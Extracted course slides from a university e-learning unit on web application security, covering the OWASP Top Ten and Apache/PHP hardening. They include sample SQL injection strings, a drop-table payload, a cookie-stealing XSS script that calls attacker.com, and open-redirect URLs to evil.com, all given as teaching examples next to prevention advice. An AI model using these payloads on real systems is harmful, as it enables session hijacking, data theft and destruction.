dangerous. This is a common issue in report-writing software.
• Use LIMIT and other SQL controls within queries to prevent mass
disclosure of records in case of SQL injection.

6
© 2020 e-Learning Centre, UCSC
5
Injection – Examples

Scenario #1: An application uses untrusted data in the


construction of the following vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" +
request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in
frameworks may result in queries that are still vulnerable, (e.g.
Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery("FROM accounts WHERE
custID='" + request.getParameter("id") + "'");
• In both cases, the attacker modifies the ‘id’ parameter value
in their browser to send: ‘ or ‘1’=’1. For example:
http://example.com/app/accountView?id=' or '1'=‘1
• This changes the meaning of both queries to return all the
records from the accounts table. More dangerous attacks
could modify or delete data, or even invoke stored
procedures.
6
© 2020 e-Learning Centre, UCSC
6
Activity 07

• Log into your account in https://www.hackthissite.org/


• Click the basic mission link

• Complete the second mission.

6
© 2020 e-Learning Centre, UCSC
7
4.2. Common Types of Vulnerabilities
4.2.2. Cross-site Scripting

68
Cross-site Scripting (XSS)

• XSS flaws occur whenever an application includes untrusted


data in a new web page without proper validation or
escaping, or updates an existing web page with user-
supplied data using a browser API that can create HTML or
JavaScript. XSS allows attackers to execute scripts in the
victim’s browser which can hijack user sessions, deface
web sites, or redirect the user to malicious sites.

6
© 2020 e-Learning Centre, UCSC
9
Cross-site Scripting (XSS)

7
© 2020 e-Learning Centre, UCSC
0
Cross-site Scripting - Threat Agents

• Automated tools can detect and exploit all three forms of


XSS, and there are freely available exploitation
frameworks.

7
© 2020 e-Learning Centre, UCSC
1
Cross-site Scripting - Security Weakness

• XSS is the second most prevalent issue in the OWASP Top


10, and is found in around two thirds of all applications.
• Automated tools can find some XSS problems
automatically, particularly in mature technologies such as
PHP, J2EE / JSP, and ASP.NET.

7
© 2020 e-Learning Centre, UCSC
2
Cross-site Scripting - Impacts

• The impact of XSS is moderate for reflected and DOM


XSS, and severe for stored XSS, with remote code
execution on the victim’s browser, such as stealing
credentials, sessions, or delivering malware to the victim.

7
© 2020 e-Learning Centre, UCSC
3
Cross-site Scripting - Vulnerabilities

There are three forms of XSS, usually targeting users’ browsers:


• Reflected XSS: The application or API includes unvalidated and
unescaped user input as part of HTML output. A successful attack
can allow the attacker to execute arbitrary HTML and JavaScript in
the victim’s browser. Typically the user will need to interact with
some malicious link that points to an attacker-controlled page, such
as malicious watering hole websites, advertisements, or similar.
• Stored XSS: The application or API stores unsensitized user input that
is viewed at a later time by another user or an administrator. Stored
XSS is often considered a high or critical risk.
• DOM XSS: JavaScript frameworks, single-page applications, and APIs
that dynamically include attacker-controllable data to a page are
vulnerable to DOM XSS. Ideally, the application would not send
attacker-controllable data to unsafe JavaScript APIs.
• Typical XSS attacks include session stealing, account takeover, MFA
bypass, DOM node replacement or defacement (such as trojan login
panels), attacks against the user’s browser such as malicious software
downloads, key logging, and other client-side attacks.

7
© 2020 e-Learning Centre, UCSC
4
Cross-site Scripting – How to Prevent

Preventing XSS requires separation of untrusted data from active browser


content. This can be achieved by:
• Using frameworks that automatically escape XSS by design, such as the
latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS
protection and appropriately handle the use cases which are not covered.
• Escaping untrusted HTTP request data based on the context in the HTML
output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and
Stored XSS vulnerabilities. The OWASP Cheat Sheet ‘XSS Prevention’ has
details on the required data escaping techniques.
• Applying context-sensitive encoding when modifying the browser document
on the client side acts against DOM XSS. When this cannot be avoided,
similar context sensitive escaping techniques can be applied to browser APIs
as described in the OWASP Cheat Sheet ‘DOM based XSS Prevention’.
• Enabling a Content Security Policy (CSP) as a defense-in-depth mitigating
control against XSS. It is effective if no other vulnerabilities exist that would
allow placing malicious code via local file includes (e.g. path traversal
overwrites or vulnerable libraries from permitted content delivery networks).

7
© 2020 e-Learning Centre, UCSC
5
Cross-site Scripting – Examples

Scenario #1: The application uses untrusted data in the


construction of the following HTML snippet without validation
or escaping:
(String) page += "<input name='creditcard' type='TEXT’
value='" + request.getParameter("CC") + "'>";
• The attacker modifies the ‘CC’ parameter in the browser to:
'><script>document.location='http://www.attacker.com/cgi-
bin/cookie.cgi? foo='+document.cookie</script>'.
• This attack causes the victim’s session ID to be sent to the
attacker’s website, allowing the attacker to hijack the user’s
current session.
Note: Attackers can use XSS to defeat any automated Cross-Site
Request Forgery (CSRF) defense the application might employ.

7
© 2020 e-Learning Centre, UCSC
6
4.2. Common Types of Vulnerabilities
4.2.3. Broken Authentication and Session Management

77
Broken Authentication

7
© 2020 e-Learning Centre, UCSC
8
Broken Authentication

• Application functions related to authentication and


session management are often implemented
incorrectly, allowing attackers to compromise
passwords, keys, or session tokens, or to exploit other
implementation flaws to assume other users’ identities
temporarily or permanently.

7
© 2020 e-Learning Centre, UCSC
9
Broken Authentication - Threat Agents

Attackers have access to hundreds of millions of valid


username and password combinations for credential
stuffing, default administrative account lists, automated
brute force, and dictionary attack tools. Session
management attacks are well understood, particularly in
relation to unexpired session tokens.

8
© 2020 e-Learning Centre, UCSC
0
Broken Authentication - Security Weakness

• The prevalence of broken authentication is widespread


due to the design and implementation of most identity
and access controls. Session management is the bedrock
of authentication and access controls, and is present in
all stateful applications.
• Attackers can detect broken authentication using manual
means and exploit them using automated tools with
password lists and dictionary attacks.

8
© 2020 e-Learning Centre, UCSC
1
Broken Authentication - Impacts

Attackers have to gain access to only a few accounts, or


just one admin account to compromise the system.
Depending on the domain of the application, this may
allow money laundering, social security fraud, and identity
theft, or disclose legally protected highly sensitive
information.

8
© 2020 e-Learning Centre, UCSC
2
Broken Authentication - Vulnerabilities

Confirmation of the user’s identity, authentication, and session management


are critical to protect against authentication-related attacks. There may be
authentication weaknesses if the application:
• Permits automated attacks such as credential stuffing, where the attacker
has a list of valid usernames and passwords.
• Permits brute force or other automated attacks.
• Permits default, weak, or well-known passwords, such as “Password1” or
“admin/admin“.
• Uses weak or ineffective credential recovery and forgot-password
processes, such as “knowledge-based answers”, which cannot be made
safe.
• Uses plain text, encrypted, or weakly hashed passwords (see A3:2017-
Sensitive Data Exposure).
• Has missing or ineffective multi-factor authentication.
• Exposes Session IDs in the URL (e.g., URL rewriting).
• Does not rotate Session IDs after successful login.
• Does not properly invalidate Session IDs. User sessions or authentication
tokens (particularly single sign-on (SSO) tokens) aren’t properly
invalidated during logout or a period of inactivity.
8
© 2020 e-Learning Centre, UCSC
3
Broken Authentication – How to Prevent

• Where possible, implement multi-factor authentication to prevent


automated, credential stuffing, brute force, and stolen credential re-use
attacks.
• Do not ship or deploy with any default credentials, particularly for admin
users.
• Implement weak-password checks, such as testing new or changed
passwords against a list of the top 10000 worst passwords.
• Align password length, complexity and rotation policies with NIST 800-63
B’s guidelines in section 5.1.1 for Memorized Secrets or other modern,
evidence based password policies.
• Ensure registration, credential recovery, and API pathways are hardened
against account enumeration attacks by using the same messages for all
outcomes.
• Limit or increasingly delay failed login attempts. Log all failures and alert
administrators when credential stuffing, brute force, or other attacks are
detected.
• Use a server-side, secure, built-in session manager that generates a new
random session ID with high entropy after login. Session IDs should not
be in the URL, be securely stored and invalidated after logout, idle, and
absolute timeouts.

8
© 2020 e-Learning Centre, UCSC
4
Broken Authentication – Examples

Scenario #1: Credential stuffing, the use of lists of known


passwords, is a common attack. If an application does not
implement automated threat or credential stuffing protections,
the application can be used as a password oracle to determine if
the credentials are valid.
Scenario #2: Most authentication attacks occur due to the
continued use of passwords as a sole factor. Once considered
best practices, password rotation and complexity requirements
are viewed as encouraging users to use, and reuse, weak
passwords. Organizations are recommended to stop these
practices per NIST 800-63 and use multi-factor authentication.
Scenario #3: Application session timeouts aren’t set properly. A
user uses a public computer to access an application. Instead of
selecting “logout” the user simply closes the browser tab and
walks away. An attacker uses the same browser an hour later,
and the user is still authenticated. 8
© 2020 e-Learning Centre, UCSC
5
4.2. Common Types of Vulnerabilities
4.2.4. Security Misconfiguration

86
Security Misconfiguration

• Security misconfiguration is the most commonly seen issue.


• Result of
• insecure default configurations
• incomplete or ad hoc configurations
• open cloud storage
• misconfigured HTTP headers
• verbose error messages containing sensitive information.
• Not only must all operating systems, frameworks, libraries,
and applications be securely configured, but they must be
patched/upgraded in a timely fashion.

8
© 2020 e-Learning Centre, UCSC
7
Security Misconfiguration - Threat Agents

• Attackers will often attempt to exploit unpatched flaws


or access default accounts, unused pages, unprotected
files and directories, etc to gain unauthorized access or
knowledge of the system.

8
© 2020 e-Learning Centre, UCSC
8
Security Misconfiguration - Security Weakness

• Security misconfiguration can happen at any level of an


application stack, including the network services,
platform, web server, application server, database,
frameworks, custom code, and pre-installed virtual
machines, containers, or storage. Automated scanners
are useful for detecting misconfigurations, use of
default accounts or configurations, unnecessary
services, legacy options, etc.

8
© 2020 e-Learning Centre, UCSC
9
Security Misconfiguration

9
© 2020 e-Learning Centre, UCSC
0
Security Misconfiguration - Impacts

• Such flaws frequently give attackers unauthorized


access to some system data or functionality.
Occasionally, such flaws result in a complete system
compromise.
• The business impact depends on the protection needs
of the application and data.

9
© 2020 e-Learning Centre, UCSC
1
Security Misconfiguration - Vulnerabilities

The application might be vulnerable if the application is:


• Missing appropriate security hardening across any part of the application
stack, or improperly configured permissions on cloud services.
• Unnecessary features are enabled or installed (e.g. unnecessary ports,
services, pages, accounts, or privileges).
• Default accounts and their passwords still enabled and unchanged.
• Error handling reveals stack traces or other overly informative error
messages to users.
• For upgraded systems, latest security features are disabled or not
configured securely.
• The security settings in the application servers, application frameworks
(e.g. Struts, Spring, ASP.NET), libraries, databases, etc. not set to secure
values.
• The server does not send security headers or directives or they are not set
to secure values.
• The software is out of date or vulnerable (see A9:2017-Using Components
with Known Vulnerabilities).
Without a concerted, repeatable application security configuration process,
systems are at a higher risk.
9
© 2020 e-Learning Centre, UCSC
2
Security Misconfiguration – How to Prevent

Secure installation processes should be implemented, including:


• A repeatable hardening process that makes it fast and easy to deploy
another environment that is properly locked down. Development, QA, and
production environments should all be configured identically, with
different credentials used in each environment. This process should be
automated to minimize the effort required to setup a new secure
environment.
• A minimal platform without any unnecessary features, components,
documentation, and samples. Remove or do not install unused features
and frameworks.
• A task to review and update the configurations appropriate to all security
notes, updates and patches as part of the patch management process (see
A9:2017-Using Components with Known Vulnerabilities). In particular,
review cloud storage permissions (e.g. S3 bucket permissions).
• A segmented application architecture that provides effective, secure
separation between components or tenants, with segmentation,
containerization, or cloud security groups (ACLs).
• Sending security directives to clients, e.g. Security Headers.
• An automated process to verify the effectiveness of the configurations
and settings in all environments.

9
© 2020 e-Learning Centre, UCSC
3
Security Misconfiguration – Examples

Scenario #1: The application server comes with sample applications


that are not removed from the production server. These sample
applications have known security flaws attackers use to compromise
the server. If one of these applications is the admin console, and
default accounts weren’t changed the attacker logs in with default
passwords and takes over.
Scenario #2: Directory listing is not disabled on the server. An attacker
discovers they can simply list directories. The attacker finds and
downloads the compiled Java classes, which they decompile and
reverse engineer to view the code. The attacker then finds a serious
access control flaw in the application.
Scenario #3: The application server’s configuration allows detailed error
messages, e.g. stack traces, to be returned to users. This potentially
exposes sensitive information or underlying flaws such as component
versions that are known to be vulnerable.
Scenario #4: A cloud service provider has default sharing permissions
open to the Internet by other CSP users. This allows sensitive data
stored within cloud storage to be accessed.
9
© 2020 e-Learning Centre, UCSC
4
4.2. Common Types of Vulnerabilities
4.2.5. Insecure Cryptographic Storage

95
Insecure Cryptographic Storage

• Many web applications do not properly protect


sensitive data, such as credit cards and authentication
credentials, with appropriate encryption or hashing.
Attackers may steal or modify such weakly protected
data to conduct identity theft, credit card fraud, or
other crimes

9
© 2020 e-Learning Centre, UCSC
6
Insecure Cryptographic Storage - Threat Agents

• Attackers typically don’t break the crypto. They break


something else, such as find keys, get cleartext copies
of data, or access data via channels that automatically
decrypt.

9
© 2020 e-Learning Centre, UCSC
7
Insecure Cryptographic Storage - Security Weakness

• The most common flaw in this area is simply not encrypting


data that deserves encryption. When encryption is
employed, unsafe key generation and storage, not rotating
keys, and weak algorithm usage is common. Use of weak or
unsalted hashes to protect passwords is also common.
External attackers have difficulty detecting such flaws due to
limited access. They usually must exploit something else first
to gain the needed access.

9
© 2020 e-Learning Centre, UCSC
8
Insecure Cryptographic Storage - Impacts

• Failure frequently compromises all data that should


have been encrypted. Typically this information
includes sensitive data such as health records,
credentials, personal data, credit cards, etc. The
business impact depends on the protection needs of
the application and data.
• Consider the business value of the lost data and impact
to your reputation. What is your legal liability if this
data is exposed? Also consider the damage to your
reputation.

9
© 2020 e-Learning Centre, UCSC
9
Insecure Cryptographic Storage - Vulnerabilities

The application might be vulnerable if the application is:


• Haven’t encrypt the data that deserve encryption such
as passwords, credit cards, health records, and personal
information
• Unauthorized users can access decrypted copies of the
data
• Weak encryption algorithms used to encrypt data

1
© 2020 e-Learning Centre, UCSC 0
Insecure Cryptographic Storage – How to Prevent

All sensitive data deserving encryption, do all of the following,


at a minimum:
• Considering the threats you plan to protect this data from
(e.g., insider attack, external user), make sure you encrypt all
such data at rest in a manner that defends against these
threats.
• Ensure offsite backups are encrypted, but the keys are
managed and backed up separately.
• Ensure appropriate strong standard algorithms and strong
keys are used, and key management is in place.
• Ensure passwords are hashed with a strong standard
algorithm and an appropriate salt is used.
• Ensure all keys and passwords are protected from
unauthorized access.
1
© 2020 e-Learning Centre, UCSC 0
Insecure Cryptographic Storage – Examples

Scenario #1: An application encrypts credit cards in a


database to prevent exposure to end users. However, the
database is set to automatically decrypt queries against the
credit card columns, allowing a SQL injection flaw to retrieve
all the credit cards in cleartext. The system should have been
configured to allow only back end applications to decrypt
them, not the front end web application.
Scenario #2: A backup tape is made of encrypted health
records, but the encryption key is on the same backup. The
tape never arrives at the backup center.
Scenario #3: The password database uses unsalted hashes to
store everyone’s passwords. A file upload flaw allows an
attacker to retrieve the password file. All the unsalted hashes
can be brute forced in 4 weeks, while properly salted hashes
would have taken over 3000 years
1
© 2020 e-Learning Centre, UCSC 0
Activity 08

• Log into your account in https://www.hackthissite.org/


• Click the basic mission link

• Complete the third mission.

1
© 2020 e-Learning Centre, UCSC 0
4.2. Common Types of Vulnerabilities
4.2.6. Failure to Restrict URL Access

104
Failure to Restrict URL Access

• Many web applications check URL access rights before


rendering protected links and buttons. However,
applications need to perform similar access control checks
each time these pages are accessed, or attackers will be able
to forge URLs to access these hidden pages anyway

1
© 2020 e-Learning Centre, UCSC 0
Failure to Restrict URL Access - Threat Agents

• Attacker, who is an authorized system user, simply


changes the URL to a privileged page. Is access
granted? Anonymous users could access private pages
that aren’t protected.

1
© 2020 e-Learning Centre, UCSC 0
Failure to Restrict URL Access - Security Weakness

• Applications are not always protecting page requests


properly. Sometimes, URL protection is managed via
configuration, and the system is misconfigured.
Sometimes, developers must include the proper code
checks, and they forget.
• Detecting such flaws is easy. The hardest part is
identifying which pages (URLs) exist to attack.

1
© 2020 e-Learning Centre, UCSC 0
Failure to Restrict URL Access - Impacts

• Such flaws allow attackers to access


unauthorized functionality. Administrative
functions are key targets for this type of attack.
• Consider the business value of the exposed
functions and the data they process. Also
consider the impact to your reputation if this
vulnerability became public.

1
© 2020 e-Learning Centre, UCSC 0
Failure to Restrict URL Access - Vulnerabilities

The application might be vulnerable if the


application don’t have proper authentication
and authorization for each page.

1
© 2020 e-Learning Centre, UCSC 0
Failure to Restrict URL Access – How to Prevent

• The authentication and authorization policies be role


based, to minimize the effort required to maintain
these policies.
• The policies should be highly configurable, in order to
minimize any hard coded aspects of the policy.
• The enforcement mechanism(s) should deny all access
by default, requiring explicit grants to specific users
and roles for access to every page.
• If the page is involved in a workflow, check to make
sure the conditions are in the proper state to allow
access.

1
© 2020 e-Learning Centre, UCSC 1
Failure to Restrict URL Access – Examples

• The attacker simply force browses to target URLs. Consider


the following URLs which are both supposed to require
authentication. Admin rights are also required for access to
the “admin_getappInfo” page.
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
• If the attacker is not authenticated, and access to either
page is granted, then unauthorized access was allowed. If an
authenticated, non-admin, user is allowed to access the
“admin_getappInfo” page, this is a flaw, and may lead the
attacker to more improperly protected admin pages.
• Such flaws are frequently introduced when links and buttons
are simply not displayed to unauthorized users, but the
application fails to protect the pages they target.
1
© 2020 e-Learning Centre, UCSC 1
4.2. Common Types of Vulnerabilities
4.2.7. Unvalidated Redirects and Forwards

112
Unvalidated Redirects and Forwards

• Web applications frequently redirect and forward users to


other pages and websites, and use untrusted data to
determine the destination pages. Without proper
validation, attackers can redirect victims to phishing or
malware sites, or use forwards to access unauthorized
pages.

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Forwards

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects and Forwards - Threat Agents

• Attacker links to unvalidated redirect and tricks


victims into clicking it. Victims are more likely
to click on it, since the link is to a valid site.
Attacker targets unsafe forward to bypass
security checks.

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects and Forwards - Security Weakness

• Applications frequently redirect users to other pages,


or use internal forwards in a similar manner. Sometimes
the target page is specified in an unvalidated
parameter, allowing attackers to choose the destination
page.
• Detecting unchecked redirects is easy. Look for
redirects where you can set the full URL. Unchecked
forwards are harder, since they target internal pages.

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects and Forwards - Impacts

• Such redirects may attempt to install malware or trick


victims into disclosing passwords or other sensitive
information. Unsafe forwards may allow access control
bypass.
• Consider the business value of retaining your users’
trust. What if they get owned by malware? What if
attackers can access internal only functions?

1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects and Forwards - Vulnerabilities

The best way to find out if an application has any unvalidated


redirects or forwards is to:
• Review the code for all uses of redirect or forward (called a
transfer in .NET). For each use, identify if the target URL is
included in any parameter values. If so, verify the
parameter(s) are validated to contain only an allowed
destination, or element of a destination.
• Also, spider the site to see if it generates any redirects (HTTP
response codes 300-307, typically 302). Look at the
parameters supplied prior to the redirect to see if they
appear to be a target URL or a piece of such a URL. If so,
change the URL target and observe whether the site
redirects to the new target.
• If code is unavailable, check all parameters to see if they
look like part of a redirect or forward URL destination and
test those that do. 1
© 2020 e-Learning Centre, UCSC 1
Unvalidated Redirects and Forwards – How to Prevent

Safe use of redirects and forwards can be done in a number of


ways:
• Simply avoid using redirects and forwards.
• If used, don’t involve user parameters in calculating the
destination. This can usually be done.
• If destination parameters can’t be avoided, ensure that the
supplied value is valid, and authorized for the user.
• It is recommended that any such destination parameters be
a mapping value, rather than the actual URL or portion of
the URL, and that server side code translate this mapping to
the target URL.
• Applications can use ESAPI to override the sendRedirect()
method to make sure all redirect destinations are safe.
• Avoiding such flaws is extremely important as they are a
favorite target of phishers trying to gain the user’s trust.

1
© 2020 e-Learning Centre, UCSC 2
Unvalidated Redirects and Forwards – Examples

Scenario #1: The application has a page called “redirect.jsp”


which takes a single parameter named “url”. The attacker
crafts a malicious URL that redirects users to a malicious site
that performs phishing and installs malware.
http://www.example.com/redirect.jsp?url=evil.com
Scenario #2:The application uses forward to route requests
between different parts of the site. To facilitate this, some
pages use a parameter to indicate where the user should be
sent if a transaction is successful. In this case, the attacker
crafts a URL that will pass the application’s access control
check and then forward the attacker to an administrative
function that she would not normally be able to access.
http://www.example.com/boring.jsp?fwd=admin.jsp

1
© 2020 e-Learning Centre, UCSC 2
4.2. Common Types of Vulnerabilities
Vulnerabilities Included in OWASP Top Ten List

122
OWASP

• OWASP – Open Web Application Security Project


• One of the most-respected authorities in the field of web
application security is the organization OWASP
• This is an open source project with the goal of improving
web application security
• There are resources like
• Guidance documents to explain how to write more secure code
• Scanning tools to find vulnerabilities
• Secure coding libraries to prevent vulnerabilities from getting into
application in the first place
• Top Ten List of the most critical web application security risks is
compiled from both objective and subjective data. Web security risks
change over time as new vulnerabilities are discovered and new
defenses are discovered every year too.

1
© 2020 e-Learning Centre, UCSC 2
OWASP Top Ten

https://owasp.org/www-project-top-ten/

1
© 2020 e-Learning Centre, UCSC 2
OWASP Comparison

https://www.incibe-cert.es/en/blog/owasp-publishes-top-10-2017-web-application-security-risks

1
© 2020 e-Learning Centre, UCSC 2
Activity 09

• Go to https://owasp.org/www-project-top-ten/ site and


compare the newly updated top ten list, discuss about the top
10 vulnerabilities in the forum

1
© 2020 e-Learning Centre, UCSC 2
Summary

• Injection
• Cross-Site Scripting (XSS)
• Broken Authentication and Session
Common types of Management
vulnerabilities • Security Misconfiguration
• Insecure Cryptographic Storage
• Failure to Restrict URL Access
• Unvalidated Redirects and Forwards

• Open Web Application Security Project


OWASP © 2020 e-Learning Centre, UCSC

• OWASP Top Ten List


1
© 2020 e-Learning Centre, UCSC 2
Overview – Chapter 4.3

4.3. Differentiate client security and server security


4.3.1. Securing Server and Client Machines
4.3.2. Securing Client Application and Apache Web Server
4.3.3. Configure PHP Securely
4.3.4. Handling Errors Safely
4.3.5. Sanitizing Variables

1
© 2020 e-Learning Centre, UCSC 2
4.3. Differentiate Client and Server Security
4.3.1. Securing Server and Client Machines

129
Securing Server and Client Machines

Server can be secured by,


• Hardening the server -
• Hardening the operating system by uninstalling
unnecessary services which reduces the footprint of the
server
• This will reduce the number of things which can be
exploited
• Tools like SELinux and grSecurity will increase the security
of server
• Using a firewall -
• Need to use a firewall blocking the connections to all ports
except those typically allowed (80, 443 etc)
• Better to run the firewall at the point where the internet
meets the network and on the server which will protect the
server although an attacker finds another way into the
network
1
© 2020 e-Learning Centre, UCSC 3
Activity 10

• Discuss how firewall secure a server in forum.

1
© 2020 e-Learning Centre, UCSC 3
4.3. Differentiate Client and Server Security
4.3.2. Securing Client Application and Apache Web Server

132
Securing Client Application and Apache Web Server

• There are several ways to secure apache web server.


Following are the two ways to make it secure when it is
running php applications
• SuExec
• Mod_security
• If you are using a third party hosting provider you won’t be
able to install, and rely on them for server security.

1
© 2020 e-Learning Centre, UCSC 3
SuExec

• Mechanism that cause scripts to be run as the user that


owns the scripts, rather than running them as web server
user.
• In a non-SuExec environment, all scripts are run as the same
user ID as the web server itself, where one vulnerable script
can give a malicious user back-door access to the entire web
server, including scripts running on other sites hosts on the
same server.
• SuExec requires that PHP scripts be run as Common
Gateway Interface (CGI), which is slower than running PHP as
a precompiled module under Apache.
• Although SuExec can keep one insecure application from
trampling all over everything else, in a more complex
environment with virtual servers, precompiled modules, and
dozens or hundreds of users, need a security model that is a
bit more robust.
1
© 2020 e-Learning Centre, UCSC 3
Mod_security

• This open source module is more robust than SuExec


• Filter incoming requests (both GET and POST) and weeds
out the ones that are likely to cause problems for the server
and its applications.
• mod_security comes with a set of core rules designed to
protect servers from most generic attacks and you can add
your own rules.
• It compares the traffic to a set of rules determine whether to
stop or allow to proceed to the web server.

1
© 2020 e-Learning Centre, UCSC 3
4.3. Differentiate Client and Server Security
4.3.3. Configure PHP Securely

136
Configure PHP Securely

• php.ini file is default configuration file to run applications


require php.
• It has number of security-related options as listed below
• safe_mode = on :
Limits PHP scripts to accessing only files owned by the same
user that the script runs as, preventing directory traversal
attacks.
• safe_mode_gid = off :
This setting, combined with safe_mode, allows PHP scripts
access only to files for which the owner and group match the
user/group that the script is run as.
• open_basedir = directory :
When this parameter is enabled, the PHP script can access only
files located in the specified directories.
• expose_php = off :
Prevents PHP from disclosing information about itself in the
HTTP headers sent to users.
1
© 2020 e-Learning Centre, UCSC 3
Configure PHP Securely (Cont…)

• register_globals = off :
If this parameter is enabled, all environment, GET, POST, cookie,
and server variables are registered as globals, making them
easily available to attackers. Unless you have no other options
but to enable it, you should leave register_globals off.
• display_errors = off :
Prevents PHP errors and warnings from being displayed to the
user. Not only do PHP warnings make your site look
unprofessional, but they also often reveal sensitive information,
such as pathnames and SQL queries.
• log_errors = on :
When this parameter is enabled, all warnings and errors are
written to a log file in which you can examine those warnings
and errors later.
• error_log = filename :
Specifies the name of the log file to which PHP should write
errors and warnings.
1
© 2020 e-Learning Centre, UCSC 3
Activity 11

• Compare and contrast the difference between SuExec and


Mod_security.
• What is php.ini file?
• List down some security related options in php.ini and
describe them.

1
© 2020 e-Learning Centre, UCSC 3
4.3. Differentiate Client and Server Security
4.3.4. Handling Errors Safely

140
Understanding the Danger
• Attackers can inject SQL queries to forms and assume that they
will execute in the database.
Eg 01: John; drop%20table%20users.
If the application is setup to enter user name into database
INSERT INTO users VALUES (John; drop table users);
If the database is loosely configured, it will insert ‘Dasun’ into the user
table and drop the table named users.
Eg 02: John’ OR ‘foo’ = ‘foo’ --
If this text enter to username field,
$sql = “SELECT * FROM User WHERE username = ‘John’ OR ‘foo’ =
‘foo’ -- ‘ AND password = ‘$_POST[password]’”;
This query allows the user to log in without a valid username or
password.
In the first phrase in the WHERE clause, the foo = foo is true. Then, the
--makes the rest of the query into a comment, effectively invisible in
the query
1
© 2020 e-Learning Centre, UCSC 4
Handling Errors Safely
Attackers enter things into your form for nefarious purposes, in
order to handle those errors safely,
• Test for unexpected inputs
• Can make assumptions about the data you expect the user to enter and
pass them through regular expressions using PHP preg_match function
to make sure it does not contain any nonalphabetical characters, other
than a space, an apostrophe or a hyphen.
• Hijacking and cross site scripting can be done by inject markup into web
application, which can be prevent using htmlentities function
• Handling the unexpected
• Simplest way to handle is to stop the application completely, but it can
cause confusion and frustration for legitimate users who accidently
mistyped their information
• Better to redirect user to the input screen and ask them to try again and
can be make it more user-friendly by letting users know which fields
caused problems.
• Check all form data
• Since drop downs and radio buttons data also can be manipulated it is
better to validate what you expect to receive against what you actually
received for all form data. 1
© 2020 e-Learning Centre, UCSC 4
Activity 12

• Log into your account in https://www.hackthissite.org/


• Click the basic mission link

• Complete the third mission.


• You can continue doing if you wish.

1
© 2020 e-Learning Centre, UCSC 4
4.3. Differentiate Client and Server Security
4.3.5. Sanitizing Variables

144
Sanitizing Variables

Without telling the users to go back and try again when they
enter invalid data, we can use some techniques to ensure the
bad data does not break the application
• Converting HTML special characters
• Uploading files without compromising the filesystem

http://xkcd.com/327/

1
© 2020 e-Learning Centre, UCSC 4
Converting HTML Special Characters

• In some cases users have to enter HTML into our application


• In a blog comment system usually allow users to post hyperlinks
• If we allow users to enter HTML we need to convert the
HTML special characters to HTML entities by using the
htmlentities() function.
• The function then does a simple search-and-replace for the
following HTMLspecial characters:
• & (ampersand) becomes &amp;.
• “ (double quote) becomes &quot;.
• ’ (single quote) becomes &#039;.
• < (less than) becomes &lt;.
• > (greater than) becomes &gt;.
• If you need to escape every character with special meaning
in HTML, use htmlentities() rather than htmlspecialchars().
1
© 2020 e-Learning Centre, UCSC 4
Uploading Files Without Compromising the Filesystem

• Most applications don’t need to upload files, these


applications are more secure.
• Can prevent file uploading with file_uploads setting in your php.ini
file.
• This setting is on by default, change it to off
• file_uploads = Off
• Some applications need users to upload files, which will lead
to serious security problems,
• Launch Denial of Service (DoS) attacks.
• Overwrite existing files.
• Place malicious code on the server for later use
• Due to the open nature of web applications, unable to
completely secure the file upload functionality.

1
© 2020 e-Learning Centre, UCSC 4
Uploading Files Without Compromising the Filesystem
(Cont…)
We can mitigate the danger by,
• Avoiding DoS attacks on the filesystem
• By uploading large files can effectively bring the server down by
preventing it from writing temporary files or virtual memory swap
files.
• Can limit file size in php.ini, but it wont prevent a scripted attack
that tries to upload hundreds of 2MB files every second.
• While reducing the file size, create separate filesystem for uploaded
file which will protect the rest of the server by locking any mischief.
• Validating files
• Verify the filename extension
• Test for the basic file type you’re expecting
• Run the file through an antivirus utility such as F-Prot

1
© 2020 e-Learning Centre, UCSC 4
Uploading Files Without Compromising the Filesystem
(Cont…)
• Using FTP functions to ensure safe file uploads
• Using PHP’s built-in fopen() function, ripe for exploitation by
malicious users who can use it to upload files from remote servers
onto your web server.
• We can prevent this by disable two settings in php.in: register_globals
and url_fopen.
• When using FTP functions. First, you establish a connection, then you
upload the files you need, and finally, you close the connection.

1
© 2020 e-Learning Centre, UCSC 4
Summary

Securing server and • Hardening the server


client machines • Using Firewall

Securing client
• SuExec
application and • Mod_security
apache web server

Configure PHP
• Security related options in php.ini
securely

• Test for unexpected inputs


Handling errors safely • Handling the unexpected data
• Validate form data

• Converting HTML special characters


Sanitizing variables • Uploading files without compromising the
filesystem
1
© 2020 e-Learning Centre, UCSC 5
Reference

• https://owasp.org/www-project-top-ten/Description
• PHP, MySQL, & JavaScript All-in-One For Dummies Richard
Blum, 2017 (Online source : https://www.pdfdrive.com/php-
mysql-javascript-all-in-one-for-dummies-e90592496.html)
• PHP, MySQL, JavaScript & HTML5 All-in-One For Dummies ,
John Wiley & Sons, Inc. 2013
• Web Application Security, A Beginner's GuideMcGraw-Hill
Education;by Bryan Sullivan and Vincent Liu, 1st Edition
(2011)

1
© 2020 e-Learning Centre, UCSC 5

You might also like